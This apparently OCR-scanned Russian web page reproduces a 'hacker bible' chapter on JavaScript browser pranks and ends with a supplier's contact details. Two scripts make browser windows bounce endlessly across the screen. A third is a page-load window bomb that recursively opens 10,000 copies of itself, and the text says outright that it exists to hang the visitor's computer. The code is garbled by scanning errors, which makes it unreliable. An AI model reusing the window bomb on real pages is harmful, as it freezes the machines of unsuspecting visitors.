БИБЛИЯ ХАКЕРА

Скрипты — это круто

Внимай, даю установку: скрипты — это круто. Ты это знаешь, я это знаю, короче — MbL это знаем. Установку дал! Успешно. Теперь о них — любимых скриптах — и поговорим. Приятно наваять своими ручками ка­кую-нибудь скрицтятину на яве и дать соседу-ламаку пропереться, а по­ка тот будет ее разглядывать — дать ему пинка. Вот только бага: по ходу все клевое в скриптинге уже придумано. Предложить что-либо карди­нально новое (во всяком случае, мне) уже лучше пива попить пойти. С другой стороны, можно легко насочинять целый ворох вторич­ных которые при ближайшем рассмотрении сведутся к Нагромож­дению все тех же базовых методов. А это неправильно — вторичное само по себе на хрен никому не нужно.

Наконец (не на конец, а в конце наступило «творческое

Озарение»: если нельзя ничего выжать внутри документа, то надо перехо­дить на качественно новый уровень манипуляции самим окном броузера.

Сначала чуть-чуть информации для тех, кто забыл (или не знал).

В объектной модели современных броузеров (под современными я имею в виду Internet Explorer и Netscape Navigator) есть два очень интерес­ных метода: window. resizeTo (x, y) и window. moveTo (x, y), которые сулят просто огромные возможности. Первый метод изменяет размер «смотро­вого окна» броузера до указанных размеров (то есть х на у пикселей), а второй перемещает само окно, помещая левый верхний угол в точку с ко­ординатами х по горизонтали и у по вертикали. Таким образом, грамотно используя эти два ты легко можешь добиться весьма интересных

Эффектов, которые буквально валят с ног неподготовленного зрителя.

Для начала давай рассмотрим простенький скриптик, отвечающий за перемещение окна броузера по десктопу и его отражение от «краев» экрана:

Скрипт 1; Окно в стиле Xonix

<script language = javascript> // Начинаем script блок

Function move_the_window(){ // Наша стартовая функция

Window. resizeTo(screen. width/2, screen, height/2);-

// Сначала сжимаем окно до половины рабочего стола

Window. moveTod, 1); //Теперь помещаем его в левый верхний угол

Экрана

Var x=1; // Это будет наша Х-координата. Вначале равна единице var у=1; // Это будет наша Y-координата. Вначале равна единице var dx=7; // Смещение по X var dy=10; // ... и по Y

Move(); // Теперь вызываем функцию, которая и будет двигать окно

Function move(){ // .Объявляем функцию

While(true){ // Объявляем бесконечный цикл

If(x>=(screen. width) 11 x<=0) dx=-dx; // В случае, если окно на

Краю экрана по X, меняем направление

If(y>=(screen. height) || y<=0) dy=-dy; // To же самое, но уже для

Y

X+=dx; // Сдвинули по горизонтали y+=dy; // ... и по вертикали

Window, moveTo (х, у); // Нарисовали окно на новом месте } // Конец нашего бесконечного цикла } // Конец функции move } // Конец функции move_the_window

// Ну, и закрываем script блок

</script>

<html>

<head>

<title>8cript N1</title> </head>

<body onload = "move_the_window()">

<centerxfont face = Tiroes size = 6 color =redxi>JavaScript is

Cool! </i></fontx/center>

</body>

</html>

Как только страница полностью загружена, вызывается функция move_the_window. Она объявляет все необходимые переменные и помеща­ет окно в левый верхний угол рабочего стола. Методы screen. width и screen. height возвращают нам значения (ширину и высоту) рабочего сто­ла, и, уже зная их, мы сжимаем окно до половины.

Теперь приступим к функции move. Так как все действия здесь вы­полняются внутри бесконечного цикла, то окно так и будет безостановоч­но бегать по экрану. Попытка же свернуть его через task manager Приведет к интересным визуальным эффектам (советую убедиться на собственном опыте). В случае, если ты хочешь, чтобы цикл выполнялся определенное количество раз, замени оператор while на while(var i < твое число) и добавь в конце цикла оператор І++.

С помощью метода resizeTo можно делать довольно любопытные вещи. Посмотри, как можно сжать окно до размеров заглавной рамки и заставить все это, как обычно, бегать по экрану:

Скрипт 2: Развитие темы

<script language = javascript> // Начинаем script блок function move_the„windows(){ // Наша стартовая функция window. resizeTo(screen. width, 25); // - Сжимаем окно номер 1 window. moveTo(0,1); // Теперь помещаем его в левый верхний угол экрана

Window2 = open("", null); // Создаем объект второго окна window2.document. write("<title> Window N2</title>"); // Пишем в не­го заголовок

Window2. resizeTo(screen. width, 25); //Сжимаем его и

Window2.moveTo(0, screen. height-25); // помещаем в низ экрана

Var dy1 =2; // Начальное смещение для верхнего окна

Var dy2=-2; // ... и для нижнего

Var y1 = 1; // Y-координата верхнего окна

Var y2 = // и нижнего

Move(); // Теперь вызываем функцию, которая и будет двигать оба

Окна

Function move(){ // Объявляем функцию while(true){ // Объявляем бесконечный цикл

If (y1>=(screen. height) || y1 <=0) dy1=-dy1; // Меняем направление if (y2>=(screen. height) || y2 <=0) dy2=-dy2; // То же для второго окна

Y1+=dy1; // Сдвинули первое окно по вертикали y2+=dy2; // и второе

Window. moveTo (0,у1); // Нарисовали первое окно на новом месте

// Нарисовали второе окно на новом месте } // Конец нашего бесконечного цикла } // Конец функции move } // Конец функции // Ну, и закрываем script блок </script> <html> <head>

<title>Script N2 Window 1</title>

</head>

<body onload = "move_the_windows()">

<centerxfont face = Times size = 6 color ' =redxi>JavaScript is

Cool! </i></fontx/center>

</body>

</html>

По сути, этот скрипт является расширением первого: новым явля­ется наличие двух окон, которые движутся независимо. Обрати внимание на механизм создания второго окна и способ записи HTML-тэгов через document, write.

Теперь, познакомившись с этими методами, ты, наверно уже зада­ешь себе вопрос: а нельзя ли через этот самый JavaScript подвесить кли­ентский компьютер? Что ж, это вполне возможно. Метод прост до не­приличия: все, что только нужно делать, — открывать новые окна с максимальной быстротой. В этом случае у системы просто не хватает ре­сурсов, и все «повисает». Другое дело, что, на мой взгляд, этот примити­визм не является чем-то по-настоящему интересным, и, вероятно, раз оз­накомившись с этим дубовым методом, ты больше не будешь тратить свое время на эту муру:

Скрипт 3: Генерация множества окон:

<script language = javascript> // Начинаем script блок function generate_windows(){ // Наша стартовая функция var i=1;

While (i < 10000){ // Главный цикл

Window. open("script3. htm"); // Новое окно с ссылкой на тот же HTML файл

I++; // Увеличиваем счетчик цикла

} // Конец цикла

} // Конец generate_windows

// Закрываем script блок

</script>

<html>

<head>

<title>Multiple windows</title> </head>

<body onload =

</body>

</htral>

Фактически в теле главного цикла скрипт пробует открыть 10000 окон, причем каждое окно ссылается на тот же файл, то есть в свою оче­редь пытается открыть еще Г0000 окон и т. д. Система просто не справля­ется с таким потоком и, увы, повисает.

БИБЛИЯ ХАКЕРА

Эта заподлистая кнопка power — как отключить?

На клавиатуре есть кнопка - у меня под делетом сразу, power называется - соответственно значок "яблоко с прямым хвостиком"... Какого гондураса её не разместили где-нибудь в другом месте да подальше …

Безопасность

Так уж устроен мир, что любое техническое изобретение человече­ского разума, расширяющее наши возможности и создающее для нас до­полнительный комфорт, неизбежно содержит в себе и отрицательные стороны, которые могут представлять потенциальную …

Прямой (кривой номер), АОН, БП и переадресация Прямые и кривые номера

Номера сотовых телефонов могут быть прямыми и кривыми. Пря­мые — это обычные городские семизначные (в Москве) номера, кривые (или федеральные) — набирать через коды 901, 902, 903, 501 или другие, …

Как с нами связаться:

Украина:
г.Александрия
тел./факс +38 05235  77193 Бухгалтерия

+38 050 457 13 30 — Рашид - продажи новинок
e-mail: msd@msd.com.ua
Схема проезда к производственному офису:
Схема проезда к МСД

Партнеры МСД

Контакты для заказов оборудования:

Внимание! На этом сайте большинство материалов - техническая литература в помощь предпринимателю. Так же большинство производственного оборудования сегодня не актуально. Уточнить можно по почте: Эл. почта: msd@msd.com.ua

+38 050 512 1194 Александр
- телефон для консультаций и заказов спец.оборудования, дробилок, уловителей, дражираторов, гереторных насосов и инженерных решений.